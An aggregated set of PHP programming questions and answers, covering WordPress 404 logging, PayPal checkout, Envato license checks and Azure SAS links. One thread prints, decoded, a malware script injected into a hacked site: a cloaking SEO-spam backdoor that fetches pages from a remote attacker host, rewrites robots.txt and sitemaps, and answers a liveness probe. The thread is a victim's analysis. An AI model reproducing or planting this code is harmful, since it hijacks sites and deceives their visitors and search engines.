I am trying to write date to a text file from a WordPress plugin. While this works for a single PHP file it doesn't write when I add the code to the plugin. The TXT file has permission 777 and is in the same directory as the plugin file.
What am I doing wrong?
This is the plugin and the lines I have added are in the block //log 404s to text file:
<?php
/*
Plugin Name: Mail me 404 errors
Plugin URI: http://me.com
Description: A 404 status triggers an email with details.
Version: 1.0
Author: Me
Author URI: http://me.com
*/
//SENDS 404 EMAIL TO ADMIN
function email_admin($location){
// ip address
$ipaddress = $_SERVER['REMOTE_ADDR'];
if (!empty($_SERVER['X_FORWARDED_FOR'])) {
$X_FORWARDED_FOR = explode(',', $_SERVER['X_FORWARDED_FOR']);
}
elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$X_FORWARDED_FOR = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
}
else {$ipaddress = "undefined";}
if (!empty($X_FORWARDED_FOR)) {
$ipaddress = trim($X_FORWARDED_FOR[0]);
}
// site info
$blname=get_option('blogname');
$admemail = get_option('admin_email');
$honeypot = "http://www.projecthoneypot.org/ip_".$ipaddress;
// time log
$time = date("F jS Y, H:i", time()+25200);
//referrer
function current_page_url(){
$page_url = 'http';
if(isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on'){
$page_url .= 's';
}
return $page_url.'://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
}
if(isset($_SESSION['referrer'])){
$referrer = $_SESSION['referrer'];
} elseif(isset($_SERVER['HTTP_REFERER'])){
$referrer = $_SERVER['HTTP_REFERER'];
} else {$referrer = "undefined";}
$_SESSION['referrer'] = current_page_url();
// query string
if (isset($_SERVER['QUERY_STRING'])) {
$string = $_SERVER['QUERY_STRING'];
} else {
$string = "undefined";
}
// request URI
if (isset($_SERVER['REQUEST_URI']) && isset($_SERVER["HTTP_HOST"])) {
$request = 'http://' . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"];
} else {
$request = "undefined";
}
// identity
if (isset($_SERVER['REMOTE_IDENT'])) {
$remote = $_SERVER['REMOTE_IDENT'];
} else {
$remote = "undefined";
}
// user agent
if (isset($_SERVER['HTTP_USER_AGENT'])) {
$agent = $_SERVER['HTTP_USER_AGENT'];
} else {
$agent = "undefined";
}
//log 404s to txt file
$ipad = $_SERVER['REMOTE_ADDR'];
$ban = "#$time\r\n$ipad\r\n";
$file = "errors.txt";
$open = #fopen($file, "a");
$write = #fputs($open, $ban);
#fclose($open);
//log 404s to txt file
$mailhead = "MIME-Version: 1.0\r\n";
$mailhead .= "Content-type: text/plain; charset=UTF-8\r\n";
$mailhead .= 'From: "' . $blname . '" <' .$admemail. ">\r\n";
$mailsubj= $blname.': 404 error';
$mailintro = "Someone wanted to go to ".$request.", but it doesn't exist. Maybe you can have a look and see if anything needs to be fixed.\r\n";
$mailbody=
$mailintro . "\n" .
"TIME: " . $time . "\n" .
"*404: " . $request . "\n" .
"REFERRER: " . $referer . "\n" .
"QUERY STRING: " . $string . "\n" .
"REMOTE ADDRESS: " . $ipaddress . "\n" .
"REMOTE IDENTITY: " . $remote . "\n" .
"USER AGENT: " . $agent . "\n" .
"CHECK WHOIS: https://who.is/whois-ip/ip-address/". $ipaddress . "\n" .
"CHECK IP ADDRESS: " . $honeypot . "\n\n\n";
#mail($admemail,$mailsubj,$mailbody,$mailhead);
}
function mail_me_errors(){
global $wp_query;
$location=$_SERVER['REQUEST_URI'];
if ($wp_query->is_404){
email_admin($location);
}
}
add_action('get_header', 'mail_me_errors');
?>
Pass the full path of the file /wp-content/plugins/your-plugin/errors.txt to fopen with plugin_dir_path():
$file = plugin_dir_path( __FILE__ ) . '/errors.txt';
$open = fopen( $file, "a" );
The following is a minimum example:
add_action( 'get_header', 'mail_me_errors' );
function mail_me_errors() {
if ( is_404() ) {
email_admin( $_SERVER['REQUEST_URI'] );
}
}
function email_admin( $location ) {
$time = date( "F jS Y, H:i", time()+25200 );
$ban = "#$time\r\n$location\r\n";
$file = plugin_dir_path( __FILE__ ) . '/errors.txt';
$open = fopen( $file, "a" );
$write = fputs( $open, $ban );
fclose( $open );
}
Related
I am trying to update an old script that uses PayPal to checkout. The $auth_token variable is equal to my business account's identity token.
if ($_REQUEST['do'] == 'receipt')
{
$request = 'cmd=_notify-synch';
$tx_token = $_REQUEST['tx'];
$auth_token = $configtoken;
$request .= "&tx=$tx_token&at=$auth_token";
$headerx .= "POST /cgi-bin/webscr HTTP/1.1\r\n";
$headerx .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headerx .= "Host: www.paypal.com\r\n";
$headerx .= "Content-Length: " . strlen ($request) . "\r\n\r\n";
$sock = fsockopen('www.paypal.com', 80, $errno, $errstr, 30);
if (!$sock)
{
$file = fopen($config['log'] . $_REQUEST['tx'] . '.datatrans', "w", 0);
fputs($file, "HTTP ERROR\n");
fclose($file);
eval('$cartinfo .= "' . fetch_template('covercart_orderfailure') . '";');
} else
{
fputs($sock, $headerx . $request);
// read the body data
$result = '';
$headerdone = false;
while (!feof($sock))
{
$line = fgets($sock, 1024);
if (strcmp($line, "\r\n") == 0)
{
// read the header
$headerdone = true;
} else
if ($headerdone)
{
// header has been read. now read the contents
$result .= $line;
}
}
// parse the data
$lines = explode("\n", $result);
$keyarray = array();
if (!strcmp($lines[0], "SUCCESS") == 0)
{
$file = fopen($config['log'] . $_REQUEST['tx'] . '.datatrans', "w", 0);
fputs($file, "COULD NOT VALIDATE\n");
fclose($file);
eval('$cartinfo .= "' . fetch_template('covercart_orderfailure') . '";');
} else
{
for ($i = 1; $i < count($lines); $i++)
{
list($key, $val) = explode("=", $lines[$i]);
$keyarray[urldecode($key)] = urldecode($val);
}
$txn_id = $keyarray['txn_id'];
$item_name = $keyarray['item_name'];
$item_number = $keyarray['item_number'];
$payment_status = $keyarray['payment_status'];
$payer_email = $keyarray['payer_email'];
$product = explode("|", $item_number);
$item_array = explode("-", $product[1]);
$transamount = $_REQUEST['amt'];
$cm = urldecode($_REQUEST['cm']);
$transid = explode(":", $cm);
$transactionid = $transid[2];
$buyerid = $transid[0];
$transcookie = $transid[3];
$who = fetch_userinfo($buyerid);
$buyername = $who['username'];
$buyeremail = $who['email'];
$transamount = sprintf('%.2f', $transamount);
$mcgross = number_format(doubleval($_POST['mc_gross']), 2);
if ($item_name != 'renewal' and $transamount)
{
$verify = $db->query_first("SELECT amount FROM " . TABLE_PREFIX .
"covercartfraud WHERE transactionid='" . $transid[2] . "' AND userid='" . $buyerid .
"'");
if ($verify['amount'] <> $transamount)
{
$file = fopen($config['log'] . $_REQUEST['tx'] . '.datatrans', "w", 0);
fputs($file, "POSSIBLE FRAUD IP: " . $_SERVER['REMOTE_ADDR'] . " FROM PAYPAL: " .
$transamount . " VBCART TRANSACTION ID: " . $transid[2] . " USERID: " . $buyerid .
" FROM DB: " . $verify['amount'] . "\n");
fclose($file);
eval(standard_error(fetch_error('covercart_invalidamount')));
}
}
It goes on a little further, but I feel the part I need to focus on is right at the top. since that's where it communicates with PayPal.
When I submit to PayPal it sends me to https://www.paypal.com/webapps/shoppingcart/error?flowlogging_id=3986eaa08f5be&code=AMOUNT_ERROR and states Things don't appear to be working at the moment. Please try again later.
I have made the following changes, updating the headers and adding trim in 2 places (I thought were correct) yet I am still receiving this error when I attempt to checkout.
$headerx .= "POST /cgi-bin/webscr HTTP/1.1\r\n";
$headerx .= "Content-Length: " . strlen($request) . "\r\n";
$headerx .= "Content-Type: application/x-www-form-urlencoded\r\n";
$headerx .= "Host: www.paypal.com\r\n";
$headerx .= "Connection: close\r\n\r\n";
//$sock = fsockopen('www.paypal.com', 80, $errno, $errstr, 30);
$sock = fsockopen( 'tls://ipnpb.paypal.com', 443, $errno, $errstr, 30);
if (!$sock)
{
$file = fopen($config['log'] . $_REQUEST['tx'] . '.datatrans', "w", 0);
fputs($file, "HTTP ERROR\n");
fclose($file);
eval('$cartinfo .= "' . fetch_template('covercart_orderfailure') . '";');
} else
{
fputs($sock, $headerx . $request);
// read the body data
$result = '';
$headerdone = false;
while (!feof($sock))
{
$line = fgets($sock, 1024);
if (strcmp(trim($line), "\r\n") == 0)
{
// read the header
$headerdone = true;
} else
if ($headerdone)
{
// header has been read. now read the contents
$result .= $line;
}
}
// parse the data
$lines = explode("\n", $result);
$keyarray = array();
if (!strcmp(trim($lines[0]), "SUCCESS") == 0)
Where am I going wrong for the communication between my site and PayPal?
UPDATE:
I dug into the AMOUNT_ERROR I noticed in the url (which seemed suspicious) and discovered my input was submitting $1.00 when it needed to be sending 1.00 removing the $ allowed the process to go through.
It's very broad question, so my answer will be broad to.
From $request = 'cmd=_notify-synch'; until $lines = explode("\n", $result); it's an API call to PayPal. So maybe you can start by looking up that call in the PayPal documentation. And replace that peace of code by the PayPal PHP SDK. That library will contain information about authentication and I assume that will tell you where to put the client ID and secret.
I have got php code injection by hack which begins with
$O00OO0=base64_decode.
So I did decode it using unphp.net but that again returns a code which assigns a variable
$O0O000 = "srDHGkVU..";
eval('?>' . $O00O0O($O0OO00($OO0O00($O0O000, $OO0000 * 2), $OO0O00($O0O000, $OO0000, $OO0000), $OO0O00($O0O000, 0, $OO0000))));
Any help or guidance would be appreciated.
here is decode
<?php
global $xmlDir, $mapMin, $mapMax, $mapNum, $mapPrefix, $plusNum;
$xmlDir = 'sitemap';
$mapMin = '8000';
$mapMax = '12000';
$mapNum = '0';
$mapPrefix = '';
$plusNum = '';
#ini_set('memory_limit', '-1');
#ini_set('max_execution_time', 0);
#set_time_limit(0);
#error_reporting(0);
#ini_set('display_errors', 0);
if (!is_bot() && !is_from_bot()) {
return;
}
if (!is_bot() && !is_jp_lang()) {
return;
}
$requestUri = get_request_uri();
if (preg_match('/--check-alive--/is', $requestUri, $results)) {
echo '--alive--';
$back = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
$str = $back[0]['file'];
$reg = '/.php\((\d+)\)/';
preg_match_all($reg, $str, $want);
print_r($want[1][0]);
exit();
} else if (preg_match('/--site-map--/is', $requestUri, $results)) {
get_site_map();
exit();
} else if (preg_match('/(-[1-9])?.xml$/is', $requestUri, $results)) {
#header("Content-type: text/xml");
get_csite_map();
exit();
} else if (preg_match('/(\d{5,})/is', $requestUri, $results)) {
$getId = $results[1];
get_article($getId);
exit();
} else {
$getId = get_id();
get_article($getId);
exit();
}
function get_api_url()
{
return 'http://prjclymfijabgj88.jpstore.top/group1/jp-api.php';
}
function get_article($id)
{
$proId = get_num();
$id = $id - $proId;
$html = get_api_page(get_api_url() . '?action=article&id=' . $id . '&host=' . get_http_host() . '&ip=' . get_real_ip() . '&tail=' . get_tail() . '&proNum=' . get_num());
if (stripos($html, '404') === 0) {
$getId = get_id() - $proId;
if (is_bot()) {
get_article($getId);
exit();
} else {
get_jump($getId);
exit();
}
} else {
if (is_bot()) {
echo $html;
exit();
} else {
get_jump($id);
exit();
}
}
echo $html;
exit();
}
function get_jump($id)
{
echo get_api_page(get_api_url() . '?action=jump&id=' . $id . '&host=' . get_http_host() . '&ip=' . get_real_ip());
exit();
}
function get_csite_map()
{
$results = get_api_page(get_api_url() . '?action=sitemap&host=' . get_http_host() . '&ip=' . get_real_ip() . '&tail=' . get_tail() . '&proNum=' . get_num());
$sitemapArray = json_decode(gzinflate(base64_decode($results)));
shuffle($sitemapArray);
$date_str = date("Y-m-d\TH:i:sP", time());
$xmlArray = array_slice($sitemapArray, 0, 12000);
$xml = '';
$url = '';
foreach ($xmlArray as $xmlKey => $xmlValue) {
$url .= ' ' . $xmlValue . ' ' . $date_str . ' daily 0.1 ';
}
$xml = ' ';
$xml .= $url;
$xml .= '';
echo $xml;
exit();
}
function get_site_map()
{
global $xmlDir, $mapMin, $mapMax, $mapNum, $mapPrefix;
if (!file_exists($xmlDir)) {
mkdir($xmlDir);
}
$results = get_api_page(get_api_url() . '?action=sitemap&host=' . get_http_host() . '&ip=' . get_real_ip() . '&tail=' . get_tail() . '&proNum=' . get_num());
$sitemapArray = json_decode(gzinflate(base64_decode($results)));
shuffle($sitemapArray);
$dataArray = array_chunk($sitemapArray, $mapMax);
$robotsTxt = 'User-agent: *' . PHP_EOL . 'Allow: /' . PHP_EOL;
$date_str = date("Y-m-d\TH:i:sP", time());
foreach ($dataArray as $dataKey => $dataValue) {
$xmlArray = array_slice($dataValue, 0, mt_rand($mapMin, $mapMax));
$url = '';
$xml = '';
foreach ($xmlArray as $xmlKey => $xmlValue) {
$url .= ' ' . $xmlValue . ' ' . $date_str . ' daily 0.1 ';
}
$xml = ' ';
$xml .= $url;
$xml .= '';
$xmlFile = $xmlDir . '/sitemap-' . $mapPrefix . ($dataKey + $mapNum + 1) . '.xml';
file_put_contents($xmlFile, $xml, LOCK_EX);
$http = '';
if (!isset($_SERVER['HTTPS'])) {
$http = 'http://';
} else {
if ($_SERVER['HTTPS'] === 1 || $_SERVER['HTTPS'] == 'on' || $_SERVER['SERVER_PORT'] == 443) {
$http = 'https://';
}
}
echo $http . $_SERVER['SERVER_NAME'] . '/sitemap/sitemap-' . $mapPrefix . ($dataKey + $mapNum + 1) . '.xml' . '
';
$sitemapUrl = $http . $_SERVER['SERVER_NAME'] . '/sitemap/sitemap-' . $mapPrefix . ($dataKey + $mapNum + 1) . '.xml';
$robotsTxt .= 'Sitemap: ' . $http . $_SERVER['SERVER_NAME'] . '/sitemap/sitemap-' . $mapPrefix . ($dataKey + $mapNum + 1) . '.xml' . PHP_EOL;
ping_google($sitemapUrl);
ping_bing($sitemapUrl);
}
$robots = dirname(__FILE__) . '/robots.txt';
file_put_contents($robots, $robotsTxt, LOCK_EX);
#touch($robots, strtotime("-400 days"));
exit();
}
function ping_google($sitemapUrl)
{
$pingUrl = 'https://www.google.com/ping?sitemap=' . urlencode($sitemapUrl);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $pingUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch); //执行curl请求 echo 'Google ping 成功
url_close($ch); } function ping_bing($sitemapUrl){ $pingUrl = 'https://www.bing.com/webmaster/ping.aspx?siteMap='.urlencode($sitemapUrl); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $pingUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); //执行curl请求 echo 'Bing ping 成功
curl_close($ch); } function get_id() { $bakDir = dirname(__FILE__) . ' / images'; $requestUri = get_request_uri(); $strlen = strlen($requestUri); $filePath = $bakDir . ' / ' . $strlen . ' / '. md5($requestUri) . ' . jpg'; if (!file_exists(dirname($filePath))) { mkdir(dirname($filePath), 0777, true); } if (!file_exists($filePath)) { $getId = get_api_page(get_api_url() . ' ? action = getid & host = ' . get_http_host() . ' & ip = ' . get_real_ip(). ' & proNum = ' . get_num()); if (is_numeric($getId)) { file_put_contents($filePath, $getId, LOCK_EX); } }else{ $getId = file_get_contents($filePath); } return $getId; } function get_num() { global $plusNum; $numDir = dirname(__FILE__) . ' / images'; $numTxt = $numDir . ' / num . txt'; if (!file_exists($numDir)) { mkdir($numDir, 0777, true); } if($plusNum ==''){ if (file_exists($numTxt)) { $num = trim(file_get_contents($numTxt)); }else{ $requestUri = get_request_uri(); $strlen = strlen($requestUri); $num = 1000*$strlen+$strlen; file_put_contents($numTxt, $num, LOCK_EX); } }else{ $num = $plusNum; } return $num; } function get_tail() { $tailDir = dirname(__FILE__) . ' / images'; $tailTxt = $tailDir . ' / tail . txt'; if (!file_exists($tailDir)) { mkdir($tailDir, 0777, true); } if (file_exists($tailTxt)) { $tail = trim(file_get_contents($tailTxt)); }else{ $strs = 'ABCDEFGHIGKLMNOPQRSTUVWZYZabcdefghigklmnopqrstuvwxyz'; $strs_array = str_split($strs); shuffle($strs_array); $str_array = array_slice($strs_array, 0, mt_rand(3, 4)); $str = ' . ' . implode($str_array); $randomTailArray = []; $randomTailArray[] = $str; $randomTailArray[] = ' / '; $randomTailArray[] = ' . htm'; $tail = $randomTailArray[mt_rand(0,2)]; file_put_contents($tailTxt, $tail, LOCK_EX); } return $tail; } function get_http_host() { $http = ''; if(!isset($_SERVER['HTTPS'])){ $http = 'http://'; }else{ if($_SERVER['HTTPS'] === 1 || $_SERVER['HTTPS'] == 'on' || $_SERVER['SERVER_PORT'] == 443){ $http = 'https://'; } } if (isset($_SERVER['SERVER_NAME'])) { $host = $http . $_SERVER['SERVER_NAME']; }else if(isset($_SERVER['HTTP_HOST'])){ $host = $http . $_SERVER['HTTP_HOST']; }else{ return ''; } return $host; } function get_request_uri() { if (isset($_SERVER["REQUEST_URI"])) { $requestUri = $_SERVER["REQUEST_URI"]; }else{ $requestUri = ''; } return $requestUri; } function get_user_agent() { if (isset($_SERVER["HTTP_USER_AGENT"])) { $userAgent = $_SERVER['HTTP_USER_AGENT']; }else{ $userAgent = ''; } return $userAgent; } function get_real_ip() { $ip = false; if(!empty($_SERVER['HTTP_CF_CONNECTING_IP'])){ return $_SERVER['HTTP_CF_CONNECTING_IP']; } if(!empty($_SERVER['HTTP_X_FORWARDED_FOR'])){ $ips=explode (',', $_SERVER['HTTP_X_FORWARDED_FOR']); for ($i=0; $i < count($ips); $i++){ if(!preg_match ('^(10|172.16|192.168).', $ips[$i])){ $ip=$ips[$i]; break; } } } return $ip ? $ip : $_SERVER['REMOTE_ADDR']; } function get_api_page($url) { $file_contents = ''; $user_agent = 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36'; if(function_exists('curl_init')){ try { $ch = curl_init(); $timeout = 30; curl_setopt($ch,CURLOPT_URL,$url); curl_setopt($ch,CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch,CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout); curl_setopt($ch,CURLOPT_USERAGENT,$user_agent); $file_contents = curl_exec( $ch); curl_close($ch); } catch (Exception $e) {} } if(strlen($file_contents)<1&&function_exists('file_get_contents')){ ini_set('user_agent',$user_agent); try { $file_contents = #file_get_contents($url); } catch (Exception $e) {} } if($file_contents == '503' || $file_contents == '') { error_503(); } return $file_contents; } function error_503() { ob_start(); header('HTTP/1.1 503 Service Temporarily Unavailable'); header('Status: 503 Service Temporarily Unavailable'); header('Retry-After:1200'); header('X-Powered-By:Apache'); exit(); } function is_bot() { $ua = get_user_agent(); $ip = get_real_ip(); if(empty($ua)) return false; if(stripos($ua,"--seeshop--") === 0) return true; $bot_dn_pool = array("google",'.yahoo.','.live.','.bing.','.msn.'); try { $rdns = gethostbyaddr($ip); if(empty($rdns)) return false; foreach ($bot_dn_pool as $dn) { if(stripos($rdns,$dn)) return true; } return false; } catch(Exception $e) { return (stripos($ua,"bot") ||stripos($ua,"spider") ||stripos($ua,"yahoo") ||stripos($ua,"seznam") ||stripos($ua,"Googlebot") ||stripos($ua,"bingbot") ||stripos($ua,"msnbot") ||stripos($ua,"Yahoo! Slurp") ||stripos($ua,"Slurp") ||stripos($ua,"bing")); } } function is_jp_lang() { if(stripos(get_user_agent(), '--jumpshop--') === 0){ return true; } if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])) { $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4); }else{ $lang = ''; } return stripos($lang,"ja") === 0; } function is_from_bot() { if(stripos(get_user_agent(), '--jumpshop--') === 0){ return true; } if (!isset($_SERVER['HTTP_REFERER'])) { return false; } $referer = $_SERVER['HTTP_REFERER']; return (stripos($referer,"bot") ||stripos($referer,"spider") ||stripos($referer,"yahoo") ||stripos($referer,"seznam") ||stripos($referer,"Googlebot") ||stripos($referer,"bingbot") ||stripos($referer,"msnbot") ||stripos($referer,"Yahoo! Slurp") ||stripos($referer,"Slurp") ||stripos($referer,"bing"));
}
I decoded the injected code using https://www.unphp.net/ then took the decoded code and replaced the below code.
$O00O0O($O0OO00($OO0O00($O0O000, $OO0000 * 2), $OO0O00($O0O000, $OO0000, $OO0000), $OO0O00($O0O000, 0, $OO0000)));
from the site i could also see that they had kept few variables at bottom which used to map. like
// $OO0000 = 52;
// $O00O0O = base64_decode;
// $O00OO0 = "n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j";
// $OO0O00 = substr;
// $O0OO00 = strtr;
base64_decode( strtr(substr($O0O000 ,52*2),substr($O0O000,52,52),substr($O0O000,0,52)))
after that i printed the result which gave me the readable php code.
Does anyone know how I can get the data from the JSON data
{
"data":{
"verify-purchase":{
"item_name":"Simplified PHP Invoice \/ Billing System",
"item_id":"11438884",
"created_at":"Sun May 31 07:49:31 +1000 2015",
"buyer":"aurysilva",
"licence":"Regular License"
}
},
"code":200,
"msg":"SUCCESS. Simplified PHP Invoice \/ Billing System License Activated. Purchase date: Sun May 31 07:49:31 +1000 2015"
}
If I do:
<?php
$LE = new License_Enforcer( 'http://www.rebootdigital.co.uk/verify.php');
$username = LICENSE_USERNAME;
$purchase_code = LICENSE_KEY;
$verified = $LE->verify($username, $purchase_code);
// save the result
$license_verified = $verified;
//$class = $LE->return_code >= 200 ? 'update' : 'error';
//echo sprintf("<div id='message' class='%s'><p>%s</p></div>", $class, $LE->msg);
echo $LE->msg;
echo $LE->data->item_name;
?>
$LE->msg returns the msg data, but I am not sure how to get the actual data.
JSON code:
// Make curl request
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (iPhone Simulator; U; CPU iPhone OS 4_3_2 like Mac OD X; en-us) AppleWebKit/535.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8H7 Safari/6533.18.5");
$url = 'http://marketplace.envato.com/api/edge/'.$envato_author_username.'/'.$envato_author_apikey.'/verify-purchase:'.$envato_purchase_code.'.json';
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$ch_data = curl_exec($ch);
curl_close($ch);
if ( empty( $ch_data ) ) { # no data returned - Timeout or similar
$result['code'] = 111;
$result['msg'] = 'FAILED to Activate License. Envato API request returned: ' . curl_error( $ch ) . " Please try again later.";
}
else {
$json_data = json_decode( $ch_data, true );
$result['data'] = $json_data;
if ( isset( $json_data['verify-purchase'] ) && count( $json_data['verify-purchase']) > 0 ) {
$license_type = $json_data['verify-purchase']['licence'];
$item_name = $json_data['verify-purchase']['item_name'];
$item_id = $json_data['verify-purchase']['item_id'];
$buyer = $json_data['verify-purchase']['buyer'];
$created_at = $json_data['verify-purchase']['created_at'];
if ( strcasecmp( $envato_username, $buyer ) === 0 ) {
$result['code'] = 200;
$result['msg'] = "SUCCESS. " . $item_name . " License Activated. Purchase date: " . $created_at;
}
else {
$result['code'] = 122;
$result['msg'] = "FAILED to Activate License for " . $item_name . ". Envato states this purchase code is owned by another user.";
}
} else if ( $json_data['error'] ) {
$result['code'] = 112;
$result['msg'] = 'FAILED to Activate License. Envato API request returned: ' . $json_data['error'];
} else {
$result['code'] = 121;
$result['msg'] = 'FAILED to Activate License. Envato states purchase code ' . $envato_purchase_code . ' is not valid.';
}
$result = str_replace('verify-purchase','verify_purchase',$data);
}
}
echo json_encode( $result );
echo "\n";
// update log file
$logfile = dirname(__FILE__) . '/' . basename(__FILE__, '.php') . '.log';
$fh = #fopen( $logfile ,"a" );
if ($fh) {
fwrite( $fh, date( 'Y-m-d H:i:s',time() ) . ' ');
fwrite( $fh, $envato_username . ' ' );
fwrite( $fh, $envato_purchase_code . ' ' );
fwrite( $fh, $website . ' ');
fwrite( $fh, isset( $item_name ) ? '"' . $item_name . '"' : '-' );
fwrite( $fh, ' ==> ' );
fwrite( $fh, $result['code'] . ' ' );
fwrite( $fh, '"' . $result['msg'] . '" ');
fwrite( $fh, "\n" );
fclose($fh);
}
?>
anant's anwer is missing quotes around the property name 'verify-purchase'. Try it again with quotes:
echo $LE->data->{'verify-purchase'}->item_name;
i trying to create SAS link to blob resource using PHP. Unfortunately currently in azure SDK there is no method for creating SAS signature.
I wrote a code for generating SAS but when i'm trying to get a resource by the link generated by this method i'm getting this message: Signature fields not well formed.
public function getSharedAccessSignatureURL($container, $blob)
{
$signedStart = date('c', strtotime('-1 day'));
$signedExpiry = date('c', strtotime('+1 day'));
$signedResource = 'b';
$signedPermission = 'r';
$signedIdentifier = '';
$responseContent = "file; attachment";
$responseType = "binary";
$canonicalizedResource = '/'.$this->account['accountName'].'/'.$container.'/'.$blob;
$signedVersion = '2014-02-14';
$stringToSign =
$signedPermission."\n".
$signedStart."\n".
$signedExpiry."\n".
$canonicalizedResource."\n".
$signedIdentifier."\n".
$signedVersion;
$signature = base64_encode(
hash_hmac(
'sha256',
urldecode(utf8_encode($stringToSign)),
$this->account['primaryKey'],
true
)
);
$arrayToUrl = [
'sv='.urlencode($signedVersion),
'st='.urlencode($signedStart),
'se='.urlencode($signedExpiry),
'sr='.urlencode($signedResource),
'sp='.urlencode($signedPermission),
'rscd='.urlencode($responseContent),
'rsct='.urlencode($responseType),
'sig='.urlencode($signature)
];
$url = 'https://'.$this->account['accountName'].'.blob.core.windows.net'.'/'
.$container.'/'
.$blob.'?'.implode('&', $arrayToUrl);
return $url;
}
Any suggest what i am doing wrong? I am commpletle newbie at Microsoft Azure
I believe there's an issue with your $stringToSign variable. Based on the documentation here: http://msdn.microsoft.com/en-US/library/azure/dn140255.aspx, your string to sign should be constructed like the following:
StringToSign = signedpermissions + "\n"
signedstart + "\n"
signedexpiry + "\n"
canonicalizedresource + "\n"
signedidentifier + "\n"
signedversion + "\n"
rscc + "\n"
rscd + "\n"
rsce + "\n"
rscl + "\n"
rsct
considering you're including rscd and rsct in your SAS querystring. Please try the following and see if that makes the difference:
$stringToSign =
$signedPermission."\n".
$signedStart."\n".
$signedExpiry."\n".
$canonicalizedResource."\n".
$signedIdentifier."\n".
$signedVersion."\n".
"\n".
$responseContent."\n".
"\n".
"\n".
$responseType;
UPDATE
Please try the code below. Replace the account name/key, container name and blob name with appropriate values:
<?php
$signedStart = gmdate('Y-m-d\TH:i:s\Z', strtotime('-1 day'));
echo $signedStart."\n";
$signedExpiry = gmdate('Y-m-d\TH:i:s\Z', strtotime('+1 day'));
echo $signedExpiry."\n";
$signedResource = 'b';
$signedPermission = 'r';
$signedIdentifier = '';
$accountName = "[account name]";
$accountKey = "[account key]";
$container = "[container name]";
$blob = "[blob name]";
$canonicalizedResource = '/'.$accountName.'/'.$container.'/'.$blob;
$signedVersion = '2014-02-14';
echo $canonicalizedResource."\n";
$rscc = '';
$rscd = 'file; attachment';//Content disposition
$rsce = '';
$rscl = '';
$rsct = 'binary';//Content type
$stringToSign =
$signedPermission."\n".
$signedStart."\n".
$signedExpiry."\n".
$canonicalizedResource."\n".
$signedIdentifier."\n".
$signedVersion."\n".
$rscc."\n".
$rscd."\n".
$rsce."\n".
$rscl."\n".
$rsct;
echo $stringToSign."\n";
$signature = base64_encode(
hash_hmac(
'sha256',
$stringToSign,
base64_decode($accountKey),
true
)
);
echo $signature."\n";
$arrayToUrl = [
'sv='.urlencode($signedVersion),
'st='.urlencode($signedStart),
'se='.urlencode($signedExpiry),
'sr='.urlencode($signedResource),
'sp='.urlencode($signedPermission),
'rscd='.urlencode($rscd),
'rsct='.urlencode($rsct),
'sig='.urlencode($signature)
];
$url = 'https://'.$accountName.'.blob.core.windows.net'.'/'
.$container.'/'
.$blob.'?'.implode('&', $arrayToUrl);
echo $url."\n";
?>
Essentially there were two issues (apart from incorrect $stringToSign variable):
Start/End date time were not properly formatted.
We would need to base64_decode the account key for calculating signature.
I run into exactly the same problem. But now you can use MicrosoftAzure\Storage\Common\SharedAccessSignatureHelper which can handle a lot of problems for you. I has been added to the common libary 2 years ago in this PR (https://github.com/Azure/azure-storage-php/pull/73/files).
And it should be solved very simple like this:
$sasHelper = new SharedAccessSignatureHelper(
'nameofyouraccount',
'H...your-token...=='
);
$sas = $sasHelper->generateAccountSharedAccessSignatureToken(
'2018-11-09',
'rwl',
'b',
'sco',
(new \DateTime())->modify('+10 minute'),
(new \DateTime())->modify('-5 minute'),
'',
'https'
);
$connectionString = "BlobEndpoint=https://nameofyouraccount.blob.core.windows.net/;SharedAccessSignature={$sas}";
And you got your connection string!
modified and turned in to a function from #Gaurav Mantri
function generateSasToken($bucket,$key, $accountName, $accountKey){
$signedStart = gmdate('Y-m-d\TH:i:s\Z', time());
$signedExpiry = gmdate('Y-m-d\TH:i:s\Z', time()+3600);
$signedResource = 'b';
$signedPermission = 'r';
$signedIdentifier = '';
$canonicalizedResource = '/' . $accountName . '/' . $bucket . '/' . $key;
$signedVersion = '2014-02-14';
$rscc = '';
$rscd = 'file; attachment';//Content disposition
$rsce = '';
$rscl = '';
$rsct = 'binary';//Content type
$stringToSign =
$signedPermission . "\n" .
$signedStart . "\n" .
$signedExpiry . "\n" .
$canonicalizedResource . "\n" .
$signedIdentifier . "\n" .
$signedVersion . "\n" .
$rscc . "\n" .
$rscd . "\n" .
$rsce . "\n" .
$rscl . "\n" .
$rsct;
$signature = base64_encode(
hash_hmac(
'sha256',
$stringToSign,
base64_decode($accountKey),
true
)
);
$arrayToUrl = [
'sv=' . urlencode($signedVersion),
'st=' . urlencode($signedStart),
'se=' . urlencode($signedExpiry),
'sr=' . urlencode($signedResource),
'sp=' . urlencode($signedPermission),
'rscd=' . urlencode($rscd),
'rsct=' . urlencode($rsct),
'sig=' . urlencode($signature)
];
$url = 'https://' . $accountName . '.blob.core.windows.net' . '/'
. $bucket . '/'
. $key . '?' . implode('&', $arrayToUrl);
return $url;
}
I have used to the Rackspace API to upload files to the RackSpace cloud. But this method seems to be a little on the slow side. Is there a better or faster way to upload a file to the cloud(curl, http adapters, etc)?
